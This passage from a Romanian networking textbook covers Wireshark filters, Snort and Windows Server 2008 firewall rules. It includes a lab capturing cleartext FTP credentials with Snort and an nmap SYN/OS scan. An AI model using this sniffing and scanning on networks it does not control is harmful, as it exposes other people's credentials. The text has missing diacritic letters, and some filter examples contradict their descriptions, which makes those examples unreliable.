n esen, orice cmp ce apare n cadrul de inspectarea a pachetelor poate fi folosit pentru a realiza o regul. Totalitatea cmpurilor ce pot fi folosite ntr-o regul pot fi vzute n meniul Help > Supported Protocols > Tabul Display Filter Fields.

6.3.2.1.1 Operatori
1. Operatorii de comparaie pe care limbajul i ofer se pot folosi n una din cele dou forme posibile: forma literal i forma matematic:

forma literal eq ne gt lt ge le
2. Operatorii logici sunt: and, or, xor i not.

forma matematic == != > < >= <=

forma literal and or xor not

forma matematic && || ^^ !

3. Operatorul boolean este exprimat n mod implicit prin numele cmpului. De exemplu dac se folosete ca filtru a operatorul TCP, se vor selecta doar acele pachete ce au ca protocol de nivel patru TCP. Folosirea operatorului logic not n faa cmpului TCP, are ca rezultat selectarea pachetelor ce nu folosesc TCP. 4. Adresele IP: sunt suportate protocoalele Ipv4 i IPv6. Este suportat i notaia CIDR: 192.168.1.0/24.

6.3.2.1.2 Cmpurile de filtrare


Regulile de filtrare au dou componente: operatorii i cmpurile. Acestea din urm sunt specificate precum ntr-un limbaj orientat pe obiecte. Dac se dorete, spre exemplu, accesare cmpului <IP surs> din headerul IP, formularea se va face astfel: ip.src. Sintaxa generala se deduce, astfel, a fi:
protocol.camp_antent

n situaia n care exist un cmp inclus ntr-un alt cmp, acestea se pot nlnui n aceeai maniera: telnet.auth_mod.name; acest cmp identific pachetele ce conin numele de autentificare pentru protocolul telnet.

225 | S e c u r i t a t e i m o n i t o r i z a r e

6.3.2.1.3 Operatori pe string-uri


Wireshark pune la dispoziie i metode avansate de selecie n interiorul unui cmp. Pentru a explica mai uor sintaxa, aceasta se va urmri pe exemple practice de mai jos:

eth.src[0:2] acesta expresie va selecta primii 2 octei din adresa MAC surs. Formatul [x:y] va referii y octei din adresa MAC, ncepnd cu octetul x. eth.src[3-4] expresia va selecta octeii 4 i 5 din adresa MAC surs. Formatul [x-y] va

referii octeii cu intexul 3 i 4 din adresa MAC eth.src[1] - expresia va selecta octetul 2 din adresa MAC.

6.3.2.1.4 Aplicarea unui filtru de afiare


Regula de filtrare se introduce n cmpul poziionat deasupra cadrului de afiare a pachetelor: 6-7: Aplicarea unui filtru de afiare

6.3.2.1.5 Exemple de reguli de filtrare


1. Selectarea tuturor pachetelor care au adresa IP din clasa 10.0.0.0/24 i portul UDP destinaie 53
ip.addr == 10.0.0.0/24 && udp.srcport == 53

2. Selectarea tuturor pachetelor cu adresa IP surs 10.0.0.5 care au bitul de TCP FIN setat.
ip.src == 10.0.0.5 and tcp.flags.fin

3. Selectarea tuturor pachetelor care nu au adresa IP 10.0.0.5, nici ca IP surs, nici ca IP destinaie
!(ip.addr == 10.0.0.5)

Atenie! Expresia ip.addr != 10.0.0.5 va evalua ntotdeauna true, pentru c va testa ca cel puin unul din cmpurile IP s fie diferit de 10.0.0.5.
4. Selectarea tuturor pachetelor Ipv4 care au cmpul TTL mai mare sau egal cu 1 i care au primii 3 ovtei ai MAC-ul de la un vendor specific.
ip.version eq 4 and ip.ttl >=2 and eth.addr[0-2] == 00:1A:5E

Bineneles c regulile se pot complica, depinznd de scenariu, ns pn n acest punct sau descris elementele de baz a limbajului filtrelor de afiare.

6.3.2.1.6 Construirea expresiilor regulate n GUI


Wireshark ofer suport grafic pentru crearea regulilor cu majoritatea cmpurilor din diferite protocole, indicnd chiar i valori posibile pentru unele dintre ele. Interfaa de construire a filtrelor de display se acceseaz cu ajutorul butonului Expression

6.3.3 Snort captur de pachete n linie de comand. IDS/IPS.


Snort este un software open-source folosit pentru a filtra trafic i a detecta tipare de trafic ce pot reprezenta o ameninare pentru o reea de calculatoare. Dei cunoscut ca unul din cele mai populare IDS uri (Intrusion detection System), snort a fost la origini un sniffer de pachete, nu foarte diferit de tcpdump. De fapt, att tcpdump ct i snort folosesc biblioteca opensource libpcap, care permite analiza pachetelor pe un sistem Linux. Aplicaia are trei moduri de funcionare:

226 | R e e l e L o c a l e Modul simplu de captur de pachete n acest mod snort captureaz traficul definit ca trafic interesant Modul de captur de pachete cu jurnalizare snort poate s stocheze captura ntr-un fiier pe disc n diferite formate: format syslog, text, binar. Modul IDS/IPS n acest mod, snort permite definirea de reguli de identificare a unui tipar de trafic i generare de alerte, invocarea de alte programe, etc.

6.3.3.1 Instalarea snort


Programul se instaleaz din apt:
root@myr:/home/rl# apt-get install snort

n timpul instalrii, aplicaia va configura ntr-un mod interactiv interfaa activ pe care snort va asculta implicit i subnetul de reea din care va accepta pachete. Dup ce a fost instalat, se poate verifica existena utilitarului n calea implicit, rulnd comanda snort. Aplicat fr niciun parametru, comanda va afi toate opiunile snort alturi de un mesaj explicativ.
root@myr:/home/rl# snort [...] Uh, you need to tell me to do something...

6.3.3.2 Modurile de funcionare snort


S-a menionat anterior faptul ca snort a fost la nceput doar un utilitar folosit pentru captur de pachete n linie de comand. n timp el a evoluat spre a ndeplini mai multe sarcini, ns fr a-i pierde funcionalitatea de baz: sniffer. Dar, revenind la teoria prezentat anteror n care, folosirea unui switch ntr-o reea Ethernet asigur faptul c fiecare staie de pe segment, va primi numai traficul destinat acesteia. Cum poate deci un administrator n reelele din prezent, s foloseasc un sniffer? Cea mai folosit soluie n implementri este tehnica de port mirroring. Aceasta presupune configurarea unui switch, pentru ca traficul care traverseaz anumite porturi s fie copiat pe un port special configurat de administrator.

6-8: Port mirroring Folosind port mirroring n configuraia de mai sus, se poate configura switchul astfel nct traficul de pe porturile 2, 3 i 4 s fie copiat pe portul 1 pe care se afl serverul ce ruleaz snort. Se vor prezenta pe scurt n continuare cele trei moduri n care snort opereaz:

227 | S e c u r i t a t e i m o n i t o r i z a r e

6.3.3.2.1 Modul simplu de captur


se ruleaz dup cum s-a prezentat mai sus, n linie de comand. Sintaxa pe care utilitarul o folosete este urmtoarea:
snort
snort [options] expression

Expresia pe care snort o primete ca argument este folosit pentru a defini filtre n linia de comand. Exist mai multe primitive i cuvinte cheie care se pot folosi, dar deoarece abordarea prezentrii acestui utilitar va fi una bazat mai mult pe exemple i funcionalitate, acestea nu vor fi enumerate aici. Pentru o lista complet a primitivelor i expresiilor se poate consulta pagina man a aplicaiei. Se va crea urmtorul scenariu:
Pe o staie din subnetul 192.168.1.0/24 se va rula snort n modul simplu de captur i n acelai timp un server FTP (proftpd) De pe o staie din alt subnet (192.168.0.0/24), se va iniia o conexiune FTP pe portul 21 ctre serverul pe care snort ascult. Scopul va fi capturarea user-ului i parolei FTP cu ajutorul snort, trimise n text clar pe reea

Mai nti se va porni snort folosind o expresie regulat ce va captura doar traficul cu IP destinaie 192.168.1.2 (adic staia local) i cu portul destinaie 21 (FTP).
root@myr:/home/rl# snort -vde host 192.168.1.2 and port 21

Parametrii -v -d i -e aplic urmtoarele opiuni:



-v: printeaz captura la ieirea standard -d: afiarea informaiei de la nivelul aplicaie -e: afiarea header-ului de nivel 2 ntr-un log sau la ieirea standard n timp ce snort ruleaz, se va porni i un server FTP pe aceeai staie:
root@myr:/home/rl# /etc/init.d/proftpd start

De pe staia cu IP-ul 192.168.0.254, se va face o conexiune ctre serverul FTP:


root@myr:/home/rl# ftp 192.168.1.2 Connected to 192.168.1.2. 220 ProFTPD 1.3.1 Server (Debian) [192.168.1.2] Name (192.168.1.2:rl): rl 331 Password required for rl Password: 230 User rl logged in [...]

Dup cum se poate observa din rezultatul de mai jos, snort a capturat informaia din pachet de la nivel 2 la nivel 7.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/07-18:05:34.732455 0:E0:20:20:14:48 -> 0:17:31:49:39:99 type:0x800 len:0x4B 192.168.0.254:50613 -> 192.168.1.2:21 TCP TTL:63 TOS:0x10 ID:7505 IpLen:20 DgmLen:61 DF ***AP*** Seq: 0x9751DAEE Ack: 0xB5B61579 Win: 0x5C TcpLen: 32 TCP Options (3) => NOP NOP TS: 26265674 26264608 55 53 45 52 20 72 6C 0D 0A USER rl.. [...] 09/07-18:05:34.733011 0:17:31:49:39:99 -> 0:E0:20:20:14:48 type:0x800 len:0x60 192.168.1.2:21 -> 192.168.0.254:50613 TCP TTL:64 TOS:0x0 ID:53593 IpLen:20 DgmLen:82 DF ***AP*** Seq: 0xB5B61579 Ack: 0x9751DAF7 Win: 0x5B TcpLen: 32 TCP Options (3) => NOP NOP TS: 26264774 26265674 33 33 31 20 50 61 73 73 77 6F 72 64 20 72 65 71 331 Password req 75 69 72 65 64 20 66 6F 72 20 72 6C 0D 0A uired for rl.. [...] 09/07-18:05:35.957654 0:E0:20:20:14:48 -> 0:17:31:49:39:99 type:0x800 len:0x4B 192.168.0.254:50613 -> 192.168.1.2:21 TCP TTL:63 TOS:0x10 ID:7507 IpLen:20 DgmLen:61 DF ***AP*** Seq: 0x9751DAF7 Ack: 0xB5B61597 Win: 0x5C TcpLen: 32 TCP Options (3) => NOP NOP TS: 26265797 26264774 50 41 53 53 20 72 6C 0D 0A PASS rl..

228 | R e e l e L o c a l e

Problema folosirii afirii la ieirea standard este faptul ca snort poate captura mult mai repede dect poate afia pe ecran. De aceea la un trafic susinut, snort va ncepe s sar peste unele pachete pentru a putea afia informaia pe monitor. De aceea, de obicei, snort se ruleaz cu opiunea -l, care permite salvarea capturii n jurnale.

6.3.3.2.2 Modul de captura de pachete cu jurnalizare


Pentru simplitate, se va folosi acelai scenariu ca i n subcapitolul anterior. La instalare, snort i creeaz un director special folosit pentru jurnale i alerte: /var/log/snort. Exist dou moduri diferite de jurnalizare:
Modul clear text: este mai ncet, ns se poate citi uor informaia din log-uri. Modul binar: este cel mai rapid mod de jurnalizare, ns e nevoie de utilitare speciale pentru a citi logurile. De asemenea formatul binar este compatibil cu tcpdump i ofer i avantajul posibilitii aplicrii a mai multe reguli snort asupra capturii, pentru a analiza pachetele pentru un posibil atac.

Modul de logare n format clear-text n continuare se va rula din nou snort, nsa de acest dat, cu jurnalizare:
root@myr:/home/rl# snort -vde host 192.168.1.2 and port 21 -l /var/log/snort/ -K ascii

Opiunea K este folosit pentru a preciza tipul jurnalizrii. Dup ce se parcurg aceeai pai ca mai sus: pornirea serverului FTP i log-area, se va observa c n directorul /var/log/snort s-a creat un director al crui nume, este IP-ul surs al pachetelor de conexiune FTP: 192.168.0.254..
root@myr:/var/log/snort# ls 192.168.0.254 root@DMZ:/var/log/snort# file 192.168.0.254/ 192.168.0.254/: setgid directory

Doar n cazul folosirii jurnalizrii n format ASCII se creeaz cte un director pentru fiecare IP surs care deschide o conexiune. n acest director se afl un fiier clear-text, n care se afl stocat captura.
root@myr:/var/log/snort# TCP:56443-21 root@myr:/var/log/snort# TCP:56443-21: ASCII text ls 192.168.0.254/ file 192.168.0.254/TCP\:56443-21

Modul de logare n format binar De aceast dat, parametrul opiunii -K este pcap, pentru jurnalizarea n format binar compatibil cu tcpdump.
root@myr:/home/rl# snort -vde host 192.168.1.2 and port 21 -l /var/log/snort/ -K pcap

Acest tip de jurnalizare este mult mai rapid i spre deosebire de cel modul clear-text, captura este pstrat ntr-un singur fiier:
root@myr:/var/log/snort# ls snort.log.1220806500 root@myr:/var/log/snort# file snort.log.1220806500 snort.log.1220806500: tcpdump capture file (little-endian) capture length 1514)

version 2.4 (Ethernet,

Snort ofer binenteles i un mod facil de a citi informaia dintr-o captur n format binar, folosind opiunea r:
root@myr:/var/log/snort# [...] snort -dev -r snort.log.1220806500

229 | S e c u r i t a t e i m o n i t o r i z a r e

Deasemenea, formatul pcap este folosit i de aplicaii cu interfaa GUI, precum Wireshark. Deci captura poate fi ncrcat i vizualizat i n mod grafic.

6.3.3.3 Modul IDS/IPS


Dei modul de logare al utilitarului este foarte util, snort a devenit faimos pentru capabilitile sale de IDS. Un IDS este un sistem software sau hardware folosit pentru detectarea unei ncercri de acces, manipulare, sau atac asupra unui sistem. Aciunea de baz pe care orice IDS trebuie o ntreprinde la detectarea unui trafic ce ridic suspiciuni, este provocarea unei alarme n sistem. n continuare se va analiza modul n care poate fi folosit snort pentru a ndeplini aceast funcie. nainte de a putea porni snort n modul IDS, trebuie modificat fiierul principal de configurare: /etc/snort/snort.conf. Trebuie specificat care este reeaua pe care snort trebuie sa o protejeze i care este reeaua de la care se pot atepta atacuri. Pentru acest lucru, snort definete dou variabile: $HOME_NET i $EXTERNAL_NET. Aceste sunt implicit setate pe any n fiierul de configurare. Doar $HOME_NET va trebui schimbat la adresa de reea a LANului.
root@myr:/home/rl# cat /etc/snort/snort.conf var HOME_NET 192.168.1.0/24 # Set up the external network addresses as well. var EXTERNAL_NET any A good start may be "any"

Din configuraia de mai sus, snort va considera ca reeaua ce trebuie protejat este reeaua 192.168.1.0/24, iar orice alta reea (var EXTERNAL_NET any) este vzut ca o posibil ameninare. Pentru a putea demonstra modul n care snort acioneaz se va presupune urmtorul scenariu:
De pe staia cu IP-ul 192.168.0.254 de pe care s-a iniiat conexiunea FTP n exemplul anterior, se va porni acum o scanare nmap cu fingerprint-ing. snort va detecta aceast ncercare de scanare i va crea un fiier de alarm n /var/log/snort/ care se va putea interpreta cu utilitare speciale.
root@myr:/home/rl# /etc/init.d/snort restart * Stopping Network Intrusion Detection System * Starting Network Intrusion Detection System

Mai nti se va reporni snort pentru a asigura reinterpretarea fiierului de configurare:


snort snort [ OK ] [ OK ]

Rularea se poate verifica prin listarea procesului n sistem:


root@myr:/var/log/snort# ps -ef | grep snort snort 18215 1 8 21:27 ? 00:00:06 /usr/sbin/snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf -S HOME_NET=[192.168.0.0/16] -i eth2

Acum c snort ruleaz, nu trebuie dect s pornim scanarea de porturi. Se va face o scanare cu pachete TCP SYN i un fingerprint.
root@myr:/home/rl# nmap -sS -O 192.168.1.2

Dup ce scanarea s-a terminat se poate verifica /var/log/snort/.


root@myr:/var/log/snort# ls total 44 drwx--S--- 2 root adm 4096 -rw-r----- 1 snort adm 5875 -rw------- 1 root adm 15369 -rw------- 1 root adm 12212 -rw-r----- 1 snort adm 1871 -l 2008-09-07 2008-09-07 2008-09-07 2008-09-07 2008-09-07 19:46 21:33 21:33 21:33 21:33 192.168.0.254 alert snort.log.1220806500 snort.log.1220812428 tcpdump.log.1220812063

230 | R e e l e L o c a l e

S-a generat un fiier de alert de aproximativ 6 KB. Pentru a putea interpreta acest fiier se pot folosi destul de multe utilitare, att n linie de comand, ct i n mediu grafic. Unul din cele mai cunscute este snortsnarf. Acest utilitar poate interpreta un fiier de alarm generat de snort i l poate afia n format HTML cu link-uri utile ctre diferite site-uri ce pot spune mai multe despre tipul de atac interceptat.

6.4 Securitate i monitorizare n Windows Server 2008


Protejarea reelei interne mpotriva atacurilor din exterior este o responsabilitate extrem de important, mai ales cnd reeaua local trebuie conectat la o reea public, cu un acces mult mai puin restricionat, ca Internetul. Windows Server 2008 implementeaz o serie de strategii pentru asigurarea securitii de sistem, printre care Windows Firewall i IPSec (protocolul IP Security).

6.4.1 Windows Firewall with Advanced Security


Un firewall este definit ca o component software sau hardware, interpus ntre sistem (reea) i Internet (de cele mai multe ori) cu rolul de a proteja mpotriva acceselor neautorizate din exterior, analiznd datele care circul n ambele sensuri i lund decizii de filtrare (blocare) atunci cnd este cazul. Deciziile de filtrare a pachetelor se iau conform cu regulile definite n firewall. Dac pachetele care sosesc din exterior nu se conformeaz niciunei reguli din firewall, acestea sunt filtrate, n mod implicit. De asemenea, firewall-ul poate fi setat s verifice i pachetele care prsesc sistemul sau reeaua proprie prin instituirea unor reguli ce controleaz accesul anumitor aplicaii spre Internet. Windows Firewall este unul de tip stateful, adic urmrete starea conexiunilor de reea ale unui sistem, examinnd att traficul direcionat spre reea ct i cel spre exterior. Pentru traficul dinspre exterior, comportamentul implicit al su este de a bloca orice pachet care sosete nesolicitat, adic nu reprezint rspunsul la o cerere sau nu face parte din traficul unei conexiuni iniiate de calculatorul propriu. Totui, cnd este necesar, pot fi configurate excepii pentru a permite anumitor tipuri de trafic s fie recepionate de ctre anumite aplicaii, pe anumite porturi. Comportamentul implicit pentru traficul originar din sistemul propriu este unul permisiv, nefiind filtrate niciun fel de cereri. Totui, pot fi implementate reguli care s limiteze accesul anumitor aplicaii la Internet

6.4.1.1 Configurarea Windows Firewall


Pentru configurarea Windows Firewall pe un sistem Windows Server 2008 exist dou moduri: primul dintre ele l reprezint fereastra de dialog Windows Firewall Settings, disponibil i pentru Windows XP i accesibil direct din Control Panel; cea de-a doua este interfaa de administrare pentru Windows Firewall with Advanced Security, accesibil de la Administrative Tools sau din Server Manager. Pentru a deschide fereastra de dialog Windows Firewall Settings, se poate alege opiunea Allow a Program Through the Windows Firewall din Control Panel, sub categoria Security sau direct accesnd Windows Firewall, tot din Control Panel, ca i n Windows XP (n funcie de modul de vizualizare activ). Setrile de baz ale lui Windows Firewall sunt separate n trei categorii:
General: n acest tab se gsesc cele mai simple opiuni, de pornire i oprire a firewall-ului. De asemenea, exist i posibilitatea de blocare a tuturor conexiunilor iniiate din exterior (Block all incoming connections) pentru a activa rapid protecia total n reele publice, nesecurizate. Aceast opiune ignor toate excepiile active la acel moment.

231 | S e c u r i t a t e i m o n i t o r i z a r e

6-1: Aplicaiile permise prin Windows Firewall


Exceptions: Lista cuprinde aplicaiile detectate n sistem iar bifarea lor are ca efect activarea permisiunii aplicaiilor de a deschide porturi. Pot fi adugate noi programe (executabile, de fapt) la lista de excepii sau pot fi adugate separat i porturi. Advanced: Aici pot fi selectate conexiunile de reea pe care Windows Firewall s le monitorizeze. De asemenea, de aici pot fi restaurate setrile implicite legate de funcionarea firewall-ului i de excepiile sale.

Dup cum se observ, fereastra de dialog descris mai sus nu ofer o multitudine de opiuni legate de configurarea Windows Firewall i nu poate fi considerat efectiv o unealt administrativ deoarece ofer un grad extrem de sczut de flexibilitate. Dac se dorete modificarea unor setri mai avansate (reguli, n spe, care, la rndul lor, formeaz politicile de securitate) trebuie utilizat interfaa Windows Firewall with Advanced Security, accesibil din Server Manager sau de la Start > Administrative Tools. Aceasta ofer opiunea de a gestiona regulile de intrare i ieire a pachetelor i de a crea reguli de securitate pentru conexiuni care pot restriciona conectarea la un server pe baza unor informaii de autentificare mai complexe, cum ar fi apartenena la un domeniu. Interfaa este mprit n trei panouri:
n stnga, un panou ce afieaz diferitele elemente de configurare, cum sunt regulile sau opiunile de monitorizare; n partea dreapt panoul de aciuni, comun celor mai multe interfee de administrare din Server Manager; n partea central panoul de detalii, al crui coninut se modific dinamic, n funcie de seleciile din primul panou.

232 | R e e l e L o c a l e

6-2: Interfaa de administrare Windows Firewall with Advanced Security n mod implicit, panoul central, de detalii, afieaz (atunci cnd n stnga este selectat rdcina firewall-ului: Windows Firewall with Advanced Security on Local Computer) o list cu trei profiluri: Domain, Public i Private. Aceste profiluri se afl n legtur cu tipurile de conexiuni afiate i de interfaa Network and Sharing Center (prezentat n seciunea 3.4.1) i conin setri diferite n funcie de riscurile pe care diferite tipuri de conexiuni le prezint. Ele au relevan n contextul lui Windows Firewall dup cum urmeaz:
Domain: Calculatoarele ce ruleaz Windows Vista sau Windows Server 2008 pot detecta dac se poate realiza apartenena la un domeniu ntr-o anumit reea la care sunt conectate. Acest profil necesit ca toate calculatoarele s fie membre ale unui domeniu pentru a putea accesa controller-ul de domeniu. Public: Profilul Public este folosit de ctre firewall pentru a proteja sistemul cnd acesta este conectat la o reea public, spre exemplu una wireless. Practic, pentru Windows Server 2008, o reea public reprezint orice reea care nu se afl n interiorul perimetrului reelei delimitate de firewall-ul acesteia. Private: Profilul comunic firewall-ului modul n care s protejeze sistemul n momentul n care acesta este membru al unei conexiuni private, adic aparine unei reele protejate de un firewall hardware.

Pentru c fiecare dintre cele trei profiluri poate stoca setri distincte cu privire la regulile firewall-ului, acestea ofer un grad sporit de flexibilitate n optimizarea nivelului de securitate oferit de firewall pentru diferite tipuri de conexiuni. Spre exemplu, conexiunile spre reele

233 | S e c u r i t a t e i m o n i t o r i z a r e

publice vor folosi profilul Public care va impune un set de reguli mai restrictive, n timp ce conectarea la reelele locale izolate, securizate i/sau aflate sub propria administrare poate necesita un set mai permisiv de reguli, cum ar fi partajarea fiierelor i a imprimantelor n reea, reguli configurate n cadrul profilului Private. Modificarea tipului unei conexiuni se poate face manual (mai puin pentru tipul Domain, care are cerine suplimentare). Windows aplic, ns, i n mod automat aceste profiluri n funcie de tipul de trafic inspectat pe interfaa conectat. Astfel c, n cazul apartenenei la un domeniu, se aplic nti profilul Domain, ajungndu-se ulterior la opiunea de a aplica unul dintre celelalte dou profiluri. Pentru situaia de mai sus, peste profilul Domain se aplic automat profilul Private deoarece se consider c zona delimitat de staiile dintr-o reea, membre ale unui domeniu, reprezint deja o zon de un anumit grad de securitate i siguran. Dac interfaa nu este autentificat la un controller de domeniu (deci conexiunea sa nu este membr a unui domeniu) atunci se aplic automat profilul Public.

6-3: Interfaa proprietilor unui profil Pentru a accesa setrile profilurilor implicite, se poate face clic pe link-ul Windows Firewall Properties din panoul de detalii, la baza regiunii Overview, n care sunt listate aceste profiluri (figura 6-3). Se observ c toate cele trei profiluri se configureaz similar, specificndu-se starea firewall-ului i modul de tratare a conexiunilor n funcie de sensul n care au fost iniiate. La apsarea butonului Customize sunt disponibile opiuni suplimentare ce adreseaz notificarea utilizatorului n momentul n care firewall-ul blocheaz o aplicaie i comportamentul permis de firewall n cazul n care sistemul ncearc s rspund prin unicast n urma unui trafic de broadcast sau multicast din reea.

234 | R e e l e L o c a l e

6.4.1.2 Modificarea regulilor implicite


Lund n considerare setrile anterioare, disponibile la nivel de profil, este evident faptul c diferenierea cea mai drastic i totodat cea mai granular dintre profiluri se reduce la implementarea regulilor. Practic, la nivel de trafic, regulile sunt cele care dicteaz comportamentul lui Windows Firewall. Acestea se mpart n trei categorii: inbound rules (pentru traficul care intr printr-o conexiune), outbound rules (pentru traficul adresat spre exterior) i connection security rules. Regulile de tip inbound se refer, de fapt, la deblocarea traficului venit din exterior. Dup cum s-a menionat i n seciunea anterioar, pentru toate cele trei tipuri de profiluri (Domain, Private i Public), comportamentul implicit al firewall-ului pentru conexiunile iniiate din exterior este de a le bloca. n contrast, comportamentul implicit pentru conexiunile iniiate de maina pe care ruleaz firewall-ul este permiterea tuturor acestora prin firewall, astfel c regulile de tip outbound adreseaz care dintre aceste conexiuni vor fi, de fapt, blocate. Att pentru regulile de tip inbound ct i pentru cele outbound, categoriile de reguli pe care Windows Firewall permite s fie create sunt n numr de trei, cu posibilitatea de a crea i reguli Custom:
Program: Decizia se ia n funcie de programul care iniiaz o conexiune (regul outbound) sau care dorete deschiderea unui port (regul inbound). Informaia care identific aplicaia cuprinde doar calea spre executabilul su. Port: Astfel de reguli au n vedere conexiunile pe baza numerelor de port (unul sau un interval) pe care acestea le utilizeaz. Tot aici se poate specifica i pentru ce protocol de nivel transport (TCP sau UDP) se aplic regula. Predefined: Aceste reguli generalizeaz anumite programe sau servicii ale sistemului simplificnd detaliile funcionrii lor. Spre exemplu, o astfel de regul poate fi instituit pentru a controla accesul la partajarea fiierelor sau imprimantelor sau pentru a permite funcionarea protocolului Remote Desktop (pentru administrarea de la distan).

Afiarea regulilor definite implicit n Windows Firewall se face printr-un simplu clic pe categoria dorit n panoul din stnga: Inbound Rules sau Outbound Rules. Deoarece lista poate deveni destul de cuprinztoare, mai ales dup definirea regulilor proprii i pe servere cu o multitudine de aplicaii i servicii instalate, acesteia i se pot aplica filtre din panoul de aciuni1. Aplicarea filtrelor poate adresa profilul de care acestea aparin, starea lor (active sau nu) i grupul din care fac parte (adic aplicaia sau serviciul de care aparin). Filtrele pot fi aplicate secvenial. Pentru tergerea tuturor filtrelor active se face clic pe link-ul Clear all filters. Pentru a vizualiza proprietile unei reguli (indiferent dac este de tip inbound sau outbound), se poate face dublu clic pe regul din panoul central (indiferent de prezena filtrelor). Atenie, nu se pot modifica toate proprietile regulilor predefinite; n cele mai multe dintre cazuri, executabilul asociat regulii nu poate fi schimbat, la fel ca i porturile i setul de protocoale incluse n regul. Aceste restricii sunt impuse deoarece regulile implicite adreseaz funcionarea serviciilor Windows care folosesc porturi i protocoale standard pentru a comunica.

Este de la sine neles c filtrele afecteaz doar afiarea anumitor reguli; ele nu afecteaz n niciun fel funcionarea lor. Pentru aceasta se folosete proprietatea Enabled disponibil pentru fiecare regul.

235 | S e c u r i t a t e i m o n i t o r i z a r e

6-4: Proprietile unei reguli inbound Fereastra de dialog a proprietilor unei reguli conine urmtoarele seciuni:
General: Cuprinde numele i o descriere textual a regulii, ofer posibilitatea de a activa sau dezactiva regula i tipul aciunii descrise de regul: permiterea conexiunii, blocarea ei sau permiterea n condiii securizate1 (IPSec). Dac regula cere ca o conexiune permis s fie criptat, pentru cele necriptate se vor aplica alte reguli dac exist sau se vor conforma comportamentului implicit descris n profilul conexiunii. Opiunea Override block rules specific faptul c aceast regul va suprascrie orice alte reguli care ar putea bloca conexiunea n cauz. Opiunea este necesar pentru a permite o conexiune pentru c, n mod normal, regulile de blocare au prioritate sporit fa de cele permisive. Programs and Services: Specific executabilul sau serviciul de sistem pentru care se va aplica regula. Orice program i serviciu poate fi adugat atta timp ct ruleaz prin propriul su executabil. Atenie la adugarea container-elor de servicii sau a programelor care gzduiesc executabile, ca svchost.exe, dllhost,exe, inetinfo.exe pentru c pot reprezenta riscuri de securitate. Regulile care se aplic pentru un anumit program sau serviciu pot fi folosite i pentru a permite unor aplicaii s accepte conexiuni din Internet, atta timp ct acestea folosesc Windows Sockets (winsock) pentru a deschide propriile porturi. Users and computers: Permite specificarea cror calculatoare sau utilizatori (sau grupuri de utilizatori) au dreptul de a se conecta la calculatorul local n contextul serviciului sau programului cruia regula i este asociat. Opiunile legate de utilizatori i calculatoare pot fi utilizate doar dac s-a specificat ca aciune a regulii permiterea conexiunilor dac acestea sunt securizate. De asemenea, configuraia este valabil doar pentru reguli de tip inbound, iar utilizatorii sau calculatoarele ce se pot autentifica trebuie s fie accesibile prin Active Directory Domain Services.

Pentru aceasta trebuie s existe i o regul corespunztoare de tipul Connection Security Rule.

236 | R e e l e L o c a l e Protocols and ports: Regula poat fi particularizat n continuare specificnd porturile i protocoalele (TCP, UDP, GRE, IPv6, L2TP, etc.) necesare pentru o conexiune prin aceast regul. Pentru ICMP sunt disponibile opiuni suplimentare, n funcie de codurile mesajelor. De asemenea, filtrarea pe baz de port se poate face att pentru porturile surs ct i pentru cele destinaie (proprii, n cazul de fa). Scope: Sunt permise specificarea unor adrese IP, intervale de adrese IP sau chiar subreele ntregi de la care sunt acceptate conexiunile. Aceiai parametri pot fi configurai i pentru maina local, caz n care regula se va aplica tuturor conexiunilor dintre adresele locale i adresele de la distan care ndeplinesc ambele criterii configurate. Advanced: Se poate specifica profilul pentru care regula este activ (toate sau numai unul dintre cele trei) i conexiunea de reea pentru care regula se aplic.

6.4.1.3 Adugarea de noi reguli


Windows Firewall permite crearea de noi reguli pentru a suplimenta cele implicite, particularizate pentru necesitile fiecrui sistem sau reea. Pentru a crea o nou regul, se selecteaz categoria de Inbound sau Outbound i se face clic pe New Rule n panoul de aciuni.
1. n prima etap se selecteaz tipul regulii: Program, Port, Predefined sau Custom, dup cum au fost prezentate n seciunea anterioar. Pentru a avea acces la toate opiunile, pentru exemplul de fa se va considera c se creeaz o regul de tip Custom. 2. Urmtoarea pagin ofer trei opiuni:
o o o All programs: Regula va fi aplicat tuturor programelor ale cror conexiuni se potrivesc cu setrile regulii. This program path: Regula se va aplica doar conexiunilor iniiate din sau spre un anumit program selectabil prin executabilul su. Services: Permite selectarea unui anumit serviciu din lista de servicii instalate n sistem, deoarece 1 majoritatea ruleaz gzduite n interiorul altor executabile, ca services.exe sau 2 lsass.exe .

3. n continuare (figura 6-5) se poate alege protocolul i, eventual, porturile pentru care regula va fi aplicat. Dac la pasul anterior s-a selectat o aplicaie, nu e necesar selectarea protocolului deoarece Windows l va identifica din interfaa winsock. 4. n continuare se pot specifica adresele IP, att locale ct i de la distan pe a cror conexiuni se va aplica regula. Pot fi definite adrese, intervaluri de adrese sau subreele. De asemenea, se pot alege aici i tipurile conexiunilor de tip reea pe care va fi aplicat regula. 5. Aciunea ce poate fi aplicat n momentul n care regula firewall-ului intr n funciune, poate s permit realizarea conexiunii n orice situaie (deci crearea unei reguli de tip Allow), doar n cazul n care conexiune este securizat (mai multe detalii n seciunea 6.4.1.2) sau poate bloca realizarea conexiunii (crearea unei reguli de tip Deny). 6. n urmtoarea seciune se pot bifa profilurile pentru care regula s se aplice: Private, Public sau Domain. 7. n fine, n ultima etap se d un nume regulii i, eventual o descriere care rezum parametrii i aciunile sale (preferabil i scopul pentru care a fost creat regula). 8. Butonul Finish creeaz regula, ce poate fi editat ulterior ca i orice alt regul implicit (conform seciunii 6.4.1.2).

Utilitar responsabil cu pornirea i oprirea serviciilor, pornirea automat a lor la iniializarea sistemului si oprirea lor la nchiderea sa. 2 Utilitar cu multiple responsabiliti de securitate, incluznd autentificarea utilizatorilor. int pentru numeroi virui.

237 | S e c u r i t a t e i m o n i t o r i z a r e

6-5: Specificarea porturilor i protocolului pentru regul

6.4.1.4 Reguli de securizare a conexiunilor


Regulile de tip inbound i outbound controleaz strict fluxurile de date dintr-un calculator. Windows Firewall permite i crearea de reguli de securizare a conexiunilor (connection security rules) care controleaz autentificarea dintre dou calculatoare (dou servere dintr-o reea, spre exemplu) pentru a asigura faptul c orice conexiune stabilit ntre aceste calculatoare este una securizat, folosind diferite metode, precum certificatele. n Windows Firewall nu sunt reguli de securizare a conexiunilor configurate n mod implicit. Ele pot fi create explicit de ctre administrator i pot fi mprite n urmtoarele categorii:
